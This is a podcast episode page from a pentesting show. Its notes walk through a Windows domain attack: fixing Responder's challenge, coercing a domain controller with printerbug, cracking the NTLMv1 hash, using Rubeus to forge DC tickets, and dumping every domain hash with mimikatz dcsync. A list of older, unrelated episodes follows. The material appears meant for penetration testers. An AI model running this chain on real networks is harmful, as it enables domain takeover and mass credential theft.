7MS: #559: Tales of Pentest Pwnage - Part 46

7MS: #559: Tales of Pentest Pwnage - Part 46

Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood):

Change the Responder.conf file like so:

; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788

Run Responder with --disable-ess flag

sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess

Use printerbug to coax authentication from a domain controller:

sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX

Convert hash to make it easier to crack!

sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER

Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds!

Now you can do a Rubeus asktgt with the DC hash:

rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap

Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!!

rubeus.exe ptt /ticket:TICKET GOES HERE

Use mimikatz to dump all hashes!

mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv

Episoder(684)

7MS #155: Million Dollar Pentest Idea, Notepad Tricks and LL Bean Jackets for Dogs

7MS #155: Million Dollar Pentest Idea, Notepad Tricks and LL Bean Jackets for Dogs

Here are the show notes for today: https://7ms.us/7ms-155-million-dollar-pentest-idea-notepad-tricks-and-ll-bean-jackets-for-dogs/

16 Feb 20169min

7MS #154: Friday Infosec News and Links Roundup

7MS #154: Friday Infosec News and Links Roundup

Episode show notes are here: https://7ms.us/7ms-154-friday-infosec-news-and-links-roundup/.

12 Feb 201613min

7MS #153: OFF-TOPIC - Ex Machina (and special musical guest)

7MS #153: OFF-TOPIC - Ex Machina (and special musical guest)

Today's episode is a movie review of Ex Machina (how the FRICK do you pronounce that?) and closes out with special musical guest, Sweet Surrender!

10 Feb 201611min

7MS #152: Review of the Almond 2015 Wireless Router

7MS #152: Review of the Almond 2015 Wireless Router

This is a mini-review of the Almond 2015 router by Securifi. This is NOT a paid advertisement or endorsement. I just happen to REALLY like this little router.

8 Feb 201610min

7MS #151: Friday Infosec News and Links Roundup

7MS #151: Friday Infosec News and Links Roundup

Here are some of my favorite stories and links for this week! Training opportunities NMAP course from Udemy - $24 for a limited time (I think) How to handle the the thoughtless compliance zombie hordes - by BHIS is coming up Tuesday February 16th from 2-3 ET. The price is free! Pivot Project touts itself as "a portfolio of interesting, practical, enlightening, and often challenging hands-on exercises for people who are trying to improve their mastery of important cybersecurity skills. News It is absurdly easy for attackers to destroy your Web site in 10 minutes. Secure your home network better using advice from the SANS Ouch! newsletter. Chromodo (part of Comodo's Internet Security)disables same-origin policy which basically disables Web security. Wha?! Virus total now looks at firmware images as well. We can soon wave goodbye to Java in the browser forever!. Kinda. Tools Here's a nice SSL/TLS-checking checklist for pentesters. Kali is moving to a rolling release configuration pretty soon. Update yours before April 15!

5 Feb 201611min

7MS #150: OFF-TOPIC-Bone Tomahawk / Goodnight Mommy / Comedy Loves Misery

7MS #150: OFF-TOPIC-Bone Tomahawk / Goodnight Mommy / Comedy Loves Misery

Preview16 wordsIn today's off-topic episode I review the following movies: Bone Tomahawk Goodnight Mommy Misery Loves Comedy

3 Feb 201610min

7MS #149: Securing Your Life - Part 3

7MS #149: Securing Your Life - Part 3

This episode continues the series on securing your life - making sure all the security stuff related to your life is in order. Today we're particularly focusing on preparing to travel. What if (God forbid) the plane goes down? Who has access to your money, passwords, etc.?

1 Feb 20168min

7MS #148: OFF-TOPIC - Apple Watch Review

7MS #148: OFF-TOPIC - Apple Watch Review

Yep, there are tons of people/blogs/magazines/children/pets who have provided reviews of the Apple Watch. This is mine.

28 Jan 20169min

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